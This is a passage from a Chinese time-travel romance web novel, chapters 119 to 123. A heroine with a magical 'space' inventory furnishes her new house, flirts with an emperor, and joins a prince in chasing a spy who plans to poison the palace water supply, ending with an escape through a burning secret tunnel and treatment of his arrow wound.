众人回头,见是个穿绸缎的瘦高个儿,正是靖王府管事的远亲周旺。 孙大娘当即叉腰骂道:周癞子!你替王府放印子钱,逼死多少人家?再满嘴喷粪,老婆子用鞋底抽你! 就是!李周氏把熟睡的娃娃往丈夫怀里一塞,姜小姐给我们佃户减租时,怎么不见你跳出来? 周旺被怼得脸色铁青,正要还嘴,忽听一阵马蹄声由远及近。只见三名黑衣护卫策马而来,为首的高声道:奉家主令,护送姜小姐车驾!闲杂人等退避! 这气势吓得周旺缩了脖子,灰溜溜钻出人群。护卫们却翻身下马,对着马车齐齐抱拳:小姐,前路已清。 车帘微动,姜绾歌的声音淡淡传出:有劳。 车队再次启程时,看热闹的已聚了五六十人。不知谁带头喊了句姜小姐仁善,众人竟纷纷跟着喊起来。声浪中,青柠悄悄抹了抹眼角。 转过梧桐巷,朱漆大门上的梧桐苑匾额在阳光下熠熠生辉。青柠扶着姜绾歌下车,发现自家小姐唇角噙着笑。 姑娘笑什么? 姜绾歌望向巷口久久不散的人群,轻声道:我在想,靖王此刻若在朝堂上,怕是要连打三个喷嚏。 话音刚落,远处皇城方向隐约传来钟鸣。青柠噗嗤一笑:说不定正在御前摔折子呢! 主仆二人相视而笑。春风拂过,吹落一树梧桐花,纷纷扬扬如雪片般落在她们肩头。 忽然,一个卖花的小姑娘怯生生地站在路边,怀里抱着几枝半开的茉莉。 姜绾歌示意停车,温声问道:这些花怎么卖? 小姑娘抬起头,眼睛一亮:小姐要买花吗?三文钱一枝... 我都要了。姜绾歌示意青柠付钱,又问道,你娘亲的风湿可好些了? 小姑娘惊讶地瞪大眼睛:小姐怎么知道... 上月路过杏林堂,看见你在抓药。姜绾歌从荷包里取出一块碎银,再去抓几副药吧。 车队继续前行,经过朱雀大街时,几个正在洒扫的官婢连忙退到路边行礼。 其中一个年轻婢女偷偷抬眼,正对上姜绾歌温和的目光,慌忙又低下头去。 姑娘,青柠指着前方,过了这个路口就到梧桐巷了。 姜绾歌微微颔首,目光落在巷口那株百年梧桐上。树下一个卖糖人的老汉手忙脚乱地收拾摊位,生怕挡了路。 停一停。姜绾歌吩咐道,让青柠买下两个糖人,给后面跟着的小厮解解馋。 车队转过巷口,崭新的朱漆大门映入眼帘。 姜绾歌下车,抬头望向门楣上“梧桐苑”三个大字,深吸一口气,推开了大门。 这匾额......青柠瞪大眼睛。 姜绾歌指尖拂过落款处小小的龙纹暗记:昨日连夜送来的。 她推开朱漆大门,一阵桃花雨迎面扑来。 五株垂丝海棠夹道盛开,花瓣飘落在新铺的鹅卵石小径上。 姑娘看这水池!青柠小跑到庭院中央。 青石砌就的圆形水池中,几尾锦鲤在睡莲叶间游弋,池底竟铺着晶莹的雨花石,阳光一照宛如琉璃。 姜绾歌却盯着水池边缘——那里等距排列着七个兽首石雕。 她蹲下身,手指按在第三个龙首的眼珠上。 咔嗒一声,池水突然下降三寸,露出内侧一圈暗格。 这...青柠捂住嘴。 排水机关罢了。姜绾歌淡然起身,袖中却多了把黄铜钥匙。 她望向正屋方向,先把外面的东西收拾好,绿竹跟我去弄书房。 书房里,两个工匠正对着传统雕花窗棂发愁。见姜绾歌进来,年长些的擦着汗道:姑娘要的"落地窗",小老儿实在没见过... 无妨。姜绾歌假装从袖中取出个布包,实则从空间兑换出几块透明玻璃,用这个。 绿竹好奇地摸着光滑的玻璃面:这么亮的琉璃... 这叫玻璃。姜绾歌笑着将玻璃嵌入窗框。这花了她50点空间积分,但看到阳光毫无阻碍地洒进来时,她觉得值了。 又在窗框暗槽装上自动竹帘——这是用10积分换的现代工艺。 神了!工匠们瞪大眼睛。只见姜绾歌轻推窗边铜钮,竹帘唰地垂下,严丝合缝。 她接着指挥改造书桌。从空间兑换的白橡木桌散发着淡淡松香,桌角包着软牛皮。磕着不疼。 她按下隐藏按钮,桌侧弹出个带锁抽屉,里面已经放着几本现代医书——这是她最大的秘密。 傍晚时分,姜绾歌独自在书房调试最后一个机关。 她转动书架上的青瓷花瓶,咔嗒一声,整面书柜悄然移开半尺,露出背后的密室。 第119章 小夜灯 姑娘!青柠突然推门进来,姜绾歌迅速将某物塞进袖中。 灶台改好了? 改好啦!青柠兴奋地比划,按您说的,灶眼能转开,下面藏着... 姜绾歌轻咳一声打断她,递过个精致的铜壶:去煮些花果茶来。 待青柠离开,她才从袖中取出刚兑换的太阳能小夜灯,将它嵌在密室顶部的暗格里。 密室里,她从空间取出折叠行军床、急救箱,还有最珍贵的——台巴掌大的太阳能计算器。 这些东西花光了她近半年积攒的200积分,但想到能随时查阅现代医学资料,她又觉得划算。 姜绾歌刚锁好密室转身,额头就撞上了一堵墙——准确说是顾铭轩的胸膛。 哎哟!她揉着额头后退两步,瞪大眼睛,你怎么找到这里的?我明明没告诉任何人新宅地址! 顾铭轩手里正把玩着她的小夜灯,闻言露出一个神秘的笑容:你忘了上个月在醉仙楼,跟掌柜的说要买"城西三进带水井的宅子"? 你偷听我说话?姜绾歌伸手就要抢灯。 是正大光明地听。顾铭轩把手举高,那日朕就在二楼雅间,你嗓门可不小。他忽然从袖中掏出一张泛黄的纸,再说,你买宅子用的银票,是通宝钱庄的吧? 姜绾歌看清那张银票存根,气得跺脚:钱庄掌柜竟敢泄露客户隐私! 非也非也。顾铭轩晃了晃手指,是你自己留下的线索——这张银票背面沾了杏花粉。 姜绾歌一愣,突然想起什么:是那日我在杏林堂包药材用的银票! 聪明。顾铭轩笑着指向窗外,朕派人查了全城杏花树开得最好的宅院,再结合你要的三进格局...他得意地挑眉,找到这里不过花了两个时辰。 姜绾歌抱起双臂:皇上好闲啊,专查这些鸡毛蒜皮的事。 关于你的事,没有鸡毛蒜皮。顾铭轩突然凑近,比如现在,我就很好奇... 他晃了晃手中的灯,这玩意儿倒是稀奇,哪来的? 朋友送的。姜绾歌伸手就要抢。 顾铭轩把手举高:哪个朋友?姓甚名谁?家住何处? 关你什么事?她跳起来去够,却被他一个侧身躲开。 怎么不关朕的事?顾铭轩故意板着脸,万一是什么图谋不轨之人... 姜绾歌翻了个白眼:现在最图谋不轨的就站在我面前。 顾铭轩被她逗笑了,从怀里掏出个蓝布小包:喏,跟你换。这是岭南送来的荔枝种子,听说结的果子比蜜还甜。 姜绾歌接过掂了掂:就这点? 嫌少?顾铭轩突然指向她新换的书桌,那先说说这个,为什么连个榫卯都没有? 用胶水粘的呗。 什么胶这么厉害? 就是...番邦特制的。姜绾歌转移话题,你到底换不换? 顾铭轩不依不饶,又拿起桌上的医书:这书上的画怎么跟真人似的? 哎呀你烦不烦!姜绾歌一把抢回书,爱换不换,不换拉倒。 换换换。顾铭轩又掏出个红布包,加上这个,西域来的葡萄种子,听说能结出紫色的果子。 姜绾歌眼睛一亮:这还差不多。她伸手去接,却被他躲开。 等等,顾铭轩突然凑近,明天有空吗?请你吃饭。 没空。 醉仙楼新来了个江南厨子,会做那道你最爱的松鼠鳜鱼。 姜绾歌咽了咽口水:...几点? 午时。顾铭轩笑得像只狐狸,记得带上你的小夜灯,让朕再开开眼界。 姜绾歌把灯塞进抽屉:想得美。要看灯,得加钱。 行啊,顾铭轩爽快地说,你想要什么? 听说西域使节新进贡了一批奇花异草的种子... 顾铭轩扶额:你呀,就惦记这些花花草草。他从腰间解下块玉佩,加上这个总行了吧? 姜绾歌接过玉佩看了看:这还差不多。她转身要去放种子,突然想起什么,等等,把巧克力还我。 什么巧克力?顾铭轩一脸无辜。 别装傻,姜绾歌伸手就去掏他袖子,刚才你顺走的那半块。 顾铭轩躲闪着从袖中掏出个油纸包:就剩这么点了... 姜绾歌抢过来打开一看,气得跺脚:顾铭轩!你偷吃我巧克力! 朕这是替你尝尝有没有毒。顾铭轩大笑着往窗边退,明日午时,不见不散! 把种子留下!姜绾歌追过去。 顾铭轩从窗口翻出去前,突然转身在她脸上快速亲了一下:定金。说完就消失在夜色中。 姜绾歌摸着被亲的地方,又好气又好笑。她打开他留下的布包,发现除了种子,还有张字条: 「明日带你看个好东西,保证比你的灯还稀奇。——轩」 她撇撇嘴,把字条收好,转身去整理新到的种子。忽然发现红布包里还藏着个小木雕,仔细一看,竟是她生气的模样,连皱眉的弧度都分毫不差。 这个讨厌鬼...姜绾歌小声嘀咕,却把木雕小心地放进了梳妆台的抽屉里。 窗外,顾铭轩其实并未走远。他靠在院外的老槐树上,看着窗内忙碌的身影,嘴角不自觉地上扬。从袖中掏出剩下的半块巧克力,小心地掰了一小块放进嘴里。 真甜。他轻声说,和某人一样。 顾铭轩的身影刚消失在夜色中,姜绾歌脸上的红晕还未完全褪去。她轻抚着被亲过的脸颊,突然回过神来,摇了摇头,转身继续收拾新宅。 青柠!她朝门外唤道。 青柠小跑着进来,手里还抱着刚收好的被褥:姑娘,有什么吩咐? 姜绾歌环顾四周,新宅大体已经收拾妥当,但还缺些人手:明日一早,你去找城西最有名的张牙婆,让她好好筛选些下人过来。 青柠眼睛一亮:姑娘要买多少下人?都要什么样的? 姜绾歌思索片刻,走到书桌前,提笔写下几行字: 首先,要两个老实本分的厨娘,年纪大些无妨,但必须手脚干净,会做家常菜。 再来四个粗使丫鬟,要身强力壮的,能挑水劈柴。 门房需要一个机灵的小厮,最好识字。 另外...她顿了顿,再找一个懂药材的婆子,以后帮我打理药圃。 第120章 隔壁邻居是顾云霁 青柠接过单子,有些犹豫:姑娘,要不要再找个贴身护卫?毕竟咱们现在... 姜绾歌微微一笑:不必,我自有打算。她指了指墙角一个不起眼的木箱,你去把那个箱子搬来。 青柠费劲地拖来箱子,姜绾歌打开锁,里面整齐排列着十几个小巧的机关装置。 这是... 机关弩。姜绾歌拿起一个巴掌大的铜制装置,我在靖王府时偷偷做的,只要装上银针,十步之内能射穿木板。 青柠倒吸一口冷气:姑娘什么时候做的这些? 晚上睡不着的时候。姜绾歌轻描淡写地说,明日你去找张牙婆时,顺便去趟铁匠铺,按这个图纸打些银针来。 她从袖中掏出一张图纸,上面画着细如牛毛的银针样式,针尖处还设计了倒钩。 记住,要找城东的老李铁匠,他手艺最好,嘴巴也最严。 青柠小心地收好图纸,突然想起什么:姑娘,要不要再买个会算账的管事?您以后要打理那么多铺子... 姜绾歌摇摇头:账目我自己来。她指了指书架上那排账本,你明日路过书局时,帮我买本最新的《九章算术》来。 是。青柠点头应下,又犹豫道:姑娘,皇上他... 别提他。姜绾歌打断她,但嘴角却不自觉地上扬,快去准备热水,我要沐浴休息了。 青柠偷笑了一下,赶紧去安排。 等青柠走后,姜绾歌走到窗前,望着院中的月色。她轻轻抚摸着顾铭轩留下的木雕,突然发现底座上刻着一行小字: 生气的样子也很可爱。 这个登徒子...她小声骂道,却把木雕放在了枕边。 夏夜的闷热让姜绾歌辗转难眠,索性披了件薄衫来到后院纳凉。 月光如水,将新栽的药圃镀上一层流动的银辉。 她漫无目的地沿着小径踱步,绣鞋踩过鹅卵石发出细微的声响。 绕过一株开得正盛的夜来香,她不知不觉来到靠近西墙的僻静角落。 这里远离主屋,只栽着几丛青竹,竹影婆娑间在地上画出斑驳的图案。 透过摇曳的竹叶,隐约可见隔壁宅子翘起的飞檐。 姜绾歌停下脚步,团扇轻摇的动作渐渐慢了下来。 她想起那日里周管事欲言又止的模样,不由低声喃喃:周管事说隔壁住着个怪人... 话音未落,一阵夜风突然穿过竹丛,带起沙沙响声,仿佛在回应她的自语。 她下意识攥紧了团扇的竹骨,指尖微微发白。 正想着,隔壁突然传来咚的一声闷响,像是重物落地。 姜绾歌耳朵一动,轻手轻脚贴近墙根。 又一阵窸窣声传来,还夹杂着金属碰撞的脆响。 她眯起眼睛,借着月光发现墙头有几处凹陷,正好可以垫脚。 就看一眼...她提起裙摆,正要攀墙,忽听头顶风声骤起! 一道黑影从天而降,衣袂翻飞间带落几片竹叶。 姜绾歌银针已然夹在指间,却在看清来人面容时僵在原地。 顾云霁?! 月光下,顾云霁一袭墨蓝寝衣,衣带松松垮垮系着,露出小片锁骨。 他手里还拎着个滴水的冰鉴,显然刚从地窖取冰回来。 王妃......不,现在应该改成姜姑娘了,姜姑娘深夜造访,他唇角微扬,莫非是改变主意来寻本王共度良宵? 姜绾歌团扇啪地合拢:你怎会住在这里? 这话该我问才是。顾云霁将冰鉴放在石桌上,水珠顺着他的手腕滑落,前段时间刚买的宅子,今儿就发现隔壁住了只小野猫。 姜绾歌这才注意到,这处角落正对着他卧房的轩窗。 想到自己方才的举动可能都被看在眼里,耳根顿时发烫:谁准你偷看我家的? 冤枉啊。顾云霁举起双手,腕间银链叮当作响,是姜姑娘自己走到本王眼皮底下的。他忽然凑近,还是说......你是故意的? 少往自己脸上贴金!姜绾歌后退半步,后腰抵上竹丛,我是听见可疑动静才...... 哦?顾云霁挑眉,那姜姑娘可要好好查查。他突然揽住她的腰往上一托,比如房顶上那个。 姜绾歌猝不及防被举高,慌忙抓住墙头瓦片。正要发火,余光却瞥见对面屋顶确实闪过一道黑影。 真有贼人?她压低声音。 顾云霁的手还扶在她腰间,掌心温度透过薄衫传来:三更半夜鬼鬼祟祟,总不会是来赏月的。 那黑影正猫腰靠近顾云霁的书房方向。姜绾歌眯起眼睛:要追吗? 姜姑娘不是怀疑本王另有所图吗?顾云霁忽然松手,不如亲自去看看? 姜绾歌差点摔下来,急忙攀住墙头:你!却见他已纵身跃上高墙,墨发在夜风中飞扬。 她一咬牙,跟着翻了过去。落地时踩到颗石子,险些滑倒,被顾云霁一把扶住。 小心。他指尖在她掌心轻挠,本王可舍不得姜姑娘摔着。 姜绾歌甩开他的手,快步跟上那道黑影。两人借着树影掩护,眼见那人撬开书房窗棂钻了进去。 你书房有什么宝贝?她小声问。 顾云霁笑而不答,突然揽着她闪到廊柱后。几乎同时,书房门被推开,黑衣人抱着卷竹简溜出来。 现在?姜绾歌摸出银针。 再等等。顾云霁按住她的手,看他要交给谁。 黑衣人熟练地翻墙而出,两人紧随其后。穿过两条小巷,那人在棵老槐树下停住,将竹简塞进树洞。 姜绾歌的指尖在袖中摩挲着银针,压低声音道:就这么看着? 顾云霁倚在巷口的阴影里,月光在他轮廓分明的侧脸上投下斑驳的光影:急什么。他忽然偏头,呼吸拂过她耳畔,姜姑娘的银针,能射中二十步外的树洞么? 少瞧不起人。她往旁边挪了半步,耳根发烫,但打草惊蛇... 怕了?顾云霁轻笑,腕间银链在月色下泛着冷光。 姜绾歌冷哼一声:我是怕你书房里真丢了什么见不得人的东西。 比如?他忽然转身,将她困在墙角与臂弯之间,姜姑娘不妨猜猜。 她后背紧贴砖墙,能清晰闻到他衣领间的沉水香:让开。 第121章 斗笠人 若我不让呢?顾云霁低头,鼻尖几乎碰到她的额发,姜姑娘要用银针扎我? 姜绾歌突然抬膝,被他早有预料般用腿挡住:还是这招。 你到底想怎样?她咬牙道。 顾云霁忽然退开半步,从袖中取出个油纸包:先吃块桂花糕?跟踪很耗体力。 ......姜绾歌盯着他掌心的糕点,一时语塞。 没毒。他掰开半块自己吃了,看,安全的。 她夺过剩下的半块:谁怕了?甜香在舌尖化开的瞬间,突然反应过来这是间接...顿时呛住。 顾云霁好心地拍拍她的背:慢点,又没人抢。 闭嘴!姜绾歌抹了抹嘴角,那人要走了。 斗笠人正警惕地环顾四周。顾云霁忽然捏起她指尖的糕点碎屑:姜姑娘嘴角... 别碰我!她一巴掌拍开他的手,响声在静夜中格外清脆。 斗笠人猛地转头。顾云霁立刻将她按进怀里,宽袖罩住两人。隔着衣料,她能听见他平稳的心跳。 你故意的。待脚步声远去,姜绾歌挣开他的怀抱。 顾云霁挑眉:姜姑娘方才心跳得厉害啊。 那是被你气的!她整理着被弄皱的衣袖,现在怎么办? 等。他变戏法似的又摸出个梨子,吃么? 姜绾歌瞪着他鼓鼓的袖袋:你出门到底带了多少零嘴? 养猫嘛。顾云霁啃了口梨子,总得备点小鱼干。 谁是你的...话到一半突然噤声。树洞旁不知何时多了个戴斗笠的身影,正取出竹简。 顾云霁眯起眼睛:认识么? 姜绾歌摇头:太暗了。话音刚落,那人突然朝他们藏身处瞥来。 顾云霁立刻扣住她的手腕:跑! 两人在迷宫般的小巷里穿梭,身后脚步声穷追不舍。姜绾歌喘着气问:你不是王爷吗?怕什么? 本王现在是半夜私会佳人的登徒子啊。他忽然拽着她拐进死胡同,抱紧我。 什...还没反应过来,就被他揽着腰跃上墙头。夜风扑面,她下意识环住他的脖颈。 顾云霁低笑:姜姑娘投怀送抱的本事见长。 放我下去!她挣扎着,差点两人一起栽下去。 别动。他突然正色,看那边。 顺着他的目光望去,斗笠人正在巷口张望。姜绾歌不自觉屏住呼吸,这才发现两人贴得极近,他睫毛的弧度都清晰可数。 你...她刚开口,被他用食指抵住唇瓣。 嘘。顾云霁的指腹温热,姜姑娘再出声,我们就要被发现了。 姜绾歌别过脸,却掩不住发烫的耳尖。月光下,他看见她咬住下唇的贝齿,忽然轻声道:其实... 嗯? 你嘴角真有糕点屑。说着俯身,在她愕然的目光中,舌尖轻掠过她唇角。 姜绾歌瞬间僵住,连呼吸都忘了。 甜的。顾云霁嘴角上扬,“如今该说说姜姑娘三更天翻我家院墙的事了——莫不是当本王这青瓦红墙,是街头卖糖糕的铺子随随便便就能闯的?” 姜绾歌的耳尖在月光下红得滴血,她猛地推开顾云霁,差点从墙头栽下去。顾云霁眼疾手快地扣住她的腰,掌心温度透过薄衫灼得她浑身发僵。 放开!她压低声音呵斥,指甲掐进他手腕。 顾云霁反而收紧了手臂:姜姑娘要是摔下去,惊动了那位...他朝巷口扬了扬下巴,今晚可就白忙活了。 斗笠人正蹲在树洞前翻看竹简,月光照在泛黄的纸页上,隐约可见朱砂勾勒的地图形状。姜绾歌眯起眼睛:那是... 城西仓库的路线图。顾云霁的呼吸喷在她耳后,看来听雨阁终于要转移龙血砂了。 姜绾歌侧头避开他灼热的呼吸:你怎么确定是龙血砂? 猜的。顾云霁突然抱着她旋身落在墙外槐树上,不过马上就能验证。 斗笠人将竹简塞入怀中,警惕地环顾四周后,朝着城西方向疾行而去。树影摇晃,姜绾歌发现顾云霁的手还箍在自己腰间,立刻用手肘往后一顶。 唔...顾云霁闷哼一声,却低笑起来,姜姑娘这招撩阴肘,是跟醉仙楼的姑娘们学的? 下流!姜绾歌挣开他的桎梏,纵身跃向另一棵树梢,再不追人就丢了。 两人在树影间无声穿梭,始终与斗笠人保持着十余丈距离。夜风卷着枯叶掠过屋檐,姜绾歌突然按住顾云霁的肩膀:等等。 顾云霁挑眉:怎么? 太顺利了。姜绾歌盯着前方时隐时现的斗笠,听雨阁的人怎么会这么大意? 话音刚落,斗笠人突然拐进一条死胡同。顾云霁瞳孔骤缩,猛地将姜绾歌扑倒在屋瓦上——三支弩箭擦着他们的发梢钉入身后梁柱。 果然有埋伏。顾云霁撑在她上方,月光将他的轮廓镀上一层银边,姜姑娘这张嘴,开过光? 姜绾歌抬膝抵住他腹部:起来! 瓦片突然传来细微震动,顾云霁揽着她翻滚到烟囱后方。原先的位置被五枚铁蒺藜扎得粉碎,斗笠人站在对面屋顶冷笑:王爷好身手。 顾云霁慢条斯理地掸了掸衣袖:比不上听雨阁的待客之道。他指尖在姜绾歌手心快速划了几个字——【东三北五】。 姜绾歌会意,银针已悄然夹在指间。 阁主有令。斗笠人抽出腰间软剑,请二位永远闭嘴! 剑光如练劈开月色,顾云霁突然甩袖掷出三枚铜钱。 叮叮叮三声脆响,软剑轨迹被硬生生打偏。姜绾歌趁机腾空而起,银针破空射向斗笠人咽喉。 斗笠人侧身避让,突然脚下一滑——不知何时,屋檐上结了层薄冰。顾云霁轻笑:西域冰蚕丝,见风即凝。 姜绾歌的裙摆扫过斗笠人眼前,袖中暗镖精准切断他的腰带。竹简随着外袍一起滑落,被顾云霁凌空接住。 撤!斗笠人吹响骨哨,七八个黑衣人从暗处涌出。 顾云霁展开竹简快速扫视,脸色突变:姜绾歌!跳! 没等她反应,两人已从屋顶栽进胡同。 身后传来“噼啪”爆裂声——斗笠人竟往墙上泼了火油,干枯的藤曼瞬间窜起丈高火焰,断了退路。 第122章 纵火 疯子!姜绾歌呛得连连咳嗽,喉咙火辣辣地疼,在城里纵火?他们不要命了吗? 顾云霁一把拽住她的手腕,带着她躲开坠落的燃烧物:比起他们要做的事,纵火还算轻的。 什么意思?姜绾歌刚要追问,突然被他拉到身后。 看这里。顾云霁在火光中展开竹简,指尖点在一处标记上,不是火药,是... 姜绾歌眯起被烟熏得生疼的眼睛:运水渠?她声音陡然提高,他们要往皇城水渠投毒? 聪明。顾云霁快速收起竹简,突然脸色一变,小心! 他猛地将姜绾歌推到墙边,一支羽箭哆地钉在他们刚才站立的位置。 王爷好身手啊。斗笠人阴冷的声音从对面屋顶传来,可惜今晚注定要做烤猪了! 姜绾歌抬头看去,只见斗笠人做了个手势,几个黑衣人又往火中泼了更多火油。 砰的一声,火势暴涨,热浪扑面而来。 现在怎么办?姜绾歌急声问道,感觉后背已经被汗水浸透。 顾云霁突然伸手解她的绸带:借我用用。 你干什么!姜绾歌一把按住他的手,这都什么时候了还... 想活命就别动。顾云霁不由分说地解下绸带,快速浸入巷底的积水,捂住口鼻。 姜绾歌这才明白他的用意,接过湿漉漉的绸带系在脸上:咳咳...这水真臭... 总比被烟熏死强。顾云霁也系好绸带,声音闷闷的,看到左边第三块墙砖了吗? 姜绾歌眯眼看去:那块凸起的? 对,那是... 话未说完,又一支箭射来,擦着顾云霁的衣袖飞过。 没时间解释了,他一把拉住她的手,跟我来! 两人贴着墙根移动,火舌几乎要舔到姜绾歌的裙摆。 就是这块,顾云霁用力推那块墙砖,帮我一把! 姜绾歌将肩膀抵上去,两人一起用力。 咔嗒一声,墙砖陷入,整面墙竟然缓缓移开一道缝隙。 快进去!顾云霁推着她往里走。 就在这时,一支火箭嗖地钉在门板上。 小心!姜绾歌下意识去拉顾云霁。 火舌瞬间窜起,照亮了暗道内部。顾云霁最后一个闪身进来,暗门在身后重重合上。 呼...姜绾歌扯下脸上的绸带,大口喘气,你怎么知道这里有暗道? 顾云霁的声音在黑暗中响起:小时候经常在这片玩捉迷藏。 骗鬼呢!姜绾歌摸黑往前走了两步,突然踢到什么,哎哟! 有台阶,顾云霁及时扶住她,慢点走。 姜绾歌甩开他的手:我自己能走。刚说完就又绊了一下。 倔脾气。顾云霁不由分说地抓住她的手,前面还有三道台阶,然后左转。 你好像对这里很熟?姜绾歌任由他牵着,语气却充满怀疑。 嗯,这是我... 话未说完,暗道深处突然传来咔嗒一声轻响。 什么声音?姜绾歌立刻绷紧身体。 机关。顾云霁声音凝重,看来有人不想我们活着出去。 又是你的"老朋友"?姜绾歌讽刺道。 嘘...顾云霁突然捂住她的嘴,听。 远处传来细微的脚步声,还有金属摩擦的声响。 追兵?姜绾歌压低声音问。 顾云霁点点头:至少三个人。 现在怎么办?继续往前走还是... 跟我来。顾云霁拉着她转向右侧一条更窄的岔道,这条能通到城南集市。 等等,姜绾歌拽住他,你还没解释那竹简上... 没时间了,顾云霁打断她,等安全了再说。 两人在黑暗中摸索前进,身后的脚步声越来越近。 他们怎么知道走这条路?姜绾歌小声问。 可能...顾云霁突然停下,趴下! 三支弩箭从他们头顶呼啸而过。 见鬼!姜绾歌趴在地上,这些人到底... 别说话,顾云霁凑到她耳边,呼吸喷在她颈侧,前面有个拐角,我数到三,一起冲过去。 姜绾歌点点头,突然想起黑暗中他看不见:好。 一、二... 三! 两人同时跃起,冲向拐角。又一轮箭矢钉在他们身后的墙上。 这边!顾云霁推开一扇隐蔽的小门,快! 姜绾歌刚钻进去,就听见身后传来顾云霁的闷哼。 你受伤了?她急忙回头。 没事,顾云霁咬牙道,只是擦破点皮。 借着门缝透进的微光,姜绾歌看到他右臂衣袖已经被血浸透。 这叫擦破点皮?她撕下一截衣袖,给我看看。 现在不是时候,顾云霁推开她的手,他们马上... 话音未落,门外传来杂乱的脚步声。 找到了!在这边! 姜绾歌和顾云霁对视一眼,同时说道:跑! 两人在狭窄的暗道中狂奔,身后追兵的脚步声如同催命符。姜绾歌的绣鞋早已不知去向,赤脚踩在潮湿的石板上,每一步都钻心地疼。 左边!顾云霁突然拽着她拐进一条岔道。 姜绾歌猝不及防撞上他的后背,鼻子撞得生疼:你就不能提前说一声? 来不及。顾云霁的声音带着压抑的痛楚,右臂的血已经顺着指尖滴落,前面有扇暗门,能甩开他们。 姜绾歌借着微弱的光线,看到他苍白的脸色:你撑得住吗? 顾云霁扯了扯嘴角:关心我? 怕你拖后腿!姜绾歌嘴硬道,却不由自主扶住他受伤的手臂。 暗门就在眼前,却突然传来咔嗒一声——机关锁死了! 该死!顾云霁用力推了几下,被反锁了。 追兵的脚步声越来越近,火光已经照亮了拐角。姜绾歌急中生智,从发间拔下玉簪:让开! 她将簪尖插入锁眼,手腕灵巧地转动。顾云霁挑眉:堂堂姜大小姐,还会这个? 闭嘴。姜绾歌专注地感受着锁芯的动静。 暗门应声而开,两人闪身而入。顾云霁立刻反手将门闩上,几乎同时,追兵的刀尖已经刺穿门板,离他的咽喉只有寸许。 走!他拉着姜绾歌继续前行,声音却越来越虚弱。 暗道开始向上倾斜,空气逐渐变得新鲜。姜绾歌突然发现顾云霁的脚步越来越沉,转头一看,他的半边袖子已经被血浸透。 停下!她强硬地按住他,必须处理伤口。 没时间... 第123章 顾云霁中毒 我说停下!姜绾歌直接扯开他的衣袖,露出狰狞的箭伤,箭头还卡在里面,你想死吗? 她麻利地拆下另一截衣袖,用银簪挑出箭头。顾云霁闷哼一声,额上渗出冷汗。 忍着点。姜绾歌从腰间暗袋摸出一个小瓷瓶,金疮药,有点疼。 药粉洒在伤口上的瞬间,顾云霁肌肉绷紧,却一声不吭。姜绾歌快速包扎好,抬头对上他深邃的眼睛:暂时止血,出去后要重新处理。 顾云霁忽然伸手擦去她脸上的烟灰:姜大夫手艺不错。 姜绾歌拍开他的手:少废话,还能走吗? 有美人相伴,爬也要爬出去。顾云霁撑着墙壁站起身,突然神色一凛,听! 远处传来机括运转的轰隆声,整个暗道开始微微震动。 他们在启动总机关!顾云霁脸色大变,这条暗道要塌了! 仿佛印证他的话,头顶开始簌簌落下碎石。姜绾歌扶起顾云霁:出口还有多远? 转过前面弯道...顾云霁话未说完,一块大石砸在他脚边。 两人跌跌撞撞地向前冲去,身后的暗道已经开始坍塌。就在他们即将到达拐角时,一块巨石轰然落下,堵死了去路。 完了...姜绾歌绝望地看着巨石。 顾云霁却突然笑了:正好。他拉着她转向石壁上一处不起眼的凹槽,帮我按这里。 两人合力按下凹槽,石壁竟然缓缓移开,露出一条向上的狭窄通道。新鲜空气扑面而来,隐约还能看到星光。 你先上。顾云霁托着她的腰将她举起。 姜绾歌抓住通道边缘的凸起,突然感觉顾云霁的手在往下滑:你的伤... 别管我,快走!顾云霁的声音已经虚弱不堪。 姜绾歌一咬牙,猛地俯身抓住他的手腕:要死一起死! 她用尽全力将顾云霁拉上来,两人挤在狭窄的通道里,几乎脸贴着脸。顾云霁轻笑:这么舍不得我? 闭嘴!姜绾歌喘着粗气,往哪边走? 往上爬三十步,有个排水口。 当两人终于爬出排水口,滚落在草地上时,远处传来鸡鸣声——天快亮了。 姜绾歌仰面躺着,胸口剧烈起伏。她侧头看向同样狼狈的顾云霁:现在可以说了吧?那竹简上... 顾云霁从怀中掏出沾血的竹简:自己看。 借着晨光,姜绾歌看清上面标注的五个红圈,分别对应着皇城水渠的关键节点。每个节点旁都画着一个小小的龙形标记。 龙血砂...她倒吸一口凉气,他们要在全城水源下毒? 顾云霁点点头:三天后是陛下的寿宴,所有王公大臣都会入宫赴宴。 姜绾歌猛地坐起身:必须阻止他们! 所以...顾云霁慢条斯理地卷起竹简,姜姑娘愿意与我这个"登徒子"合作了? 姜绾歌看着远处渐渐熄灭的火光,咬了咬唇:暂时而已。 顾云霁笑着从地上爬起来,向她伸出手:那么,合作愉快? 姜绾歌无视他的手,自己站了起来:先去处理你的伤。要是你死了,我跟谁要报酬去? 顾云霁大笑,牵动了伤口又疼得龇牙咧嘴。 晨光中,两人一前一后走向远处的医馆,身后的暗道传来最后一声沉闷的坍塌声。 待在医馆落了座,姜绾歌便一头扎进药柜间,瓷罐开合的轻响混着窗外的鸟鸣,将方才的惊险浸成了药香里的沉淀。 直到最后一味药材在臼中碾成细粉,药杵与臼底碰撞发出清脆的声响。 脱衣服。她头也不抬地说道。 顾云霁懒洋洋地靠在矮榻上,闻言挑了挑眉:姜姑娘这么直接? 姜绾歌手中的药杵咚地砸在案板上:我是让你把伤口露出来! 早说嘛。顾云霁慢条斯理地解开衣带,右臂的绷带已经被血浸透,黏在伤口上。他试着扯了扯,突然嘶地倒抽一口冷气。 姜绾歌抬头,看见他难得皱起的眉头,不由得放下药杵:现在知道疼了?刚才在暗道里不是挺能逞强?她走到榻前,毫不客气地拍开他的手,别乱动。 她从铜盆里拧了块湿布,轻轻按在绷带上。血痂渐渐软化,但布料仍黏连皮肉。顾云霁肌肉紧绷,额角渗出细密的汗珠,却一声不吭。 忍着点。姜绾歌突然用力一扯。 呃!顾云霁左手猛地抓住榻沿,指节泛白。伤口重新撕裂,鲜血立刻涌了出来。 姜绾歌迅速按住伤口上方的穴位止血,另一手取来准备好的药酒:会有点疼。 药酒淋在伤口上的瞬间,顾云霁的右臂不受控制地颤抖起来。 姜绾歌瞥见他咬紧的牙关和暴起的青筋,手上的动作却丝毫没停:箭伤有毒,必须彻底清理。 什么毒?顾云霁声音沙哑。 姜绾歌没有立即回答,而是用银簪尖挑开伤口边缘的腐肉。直到看见鲜红的血肉,她才松了口气:不是龙血砂,只是普通蛇毒。 她取来刚才配好的药粉,算你命大。 药粉洒落的瞬间,顾云霁突然抓住她的手腕:等等。他盯着她手中淡青色的粉末,这是...断肠草? 懂得不少嘛。姜绾歌挣开他的手,以毒攻毒罢了。 顾云霁却再次拦住她:断肠草遇蛇毒会生成新毒素。他从怀中掏出一个小瓷瓶,用这个。 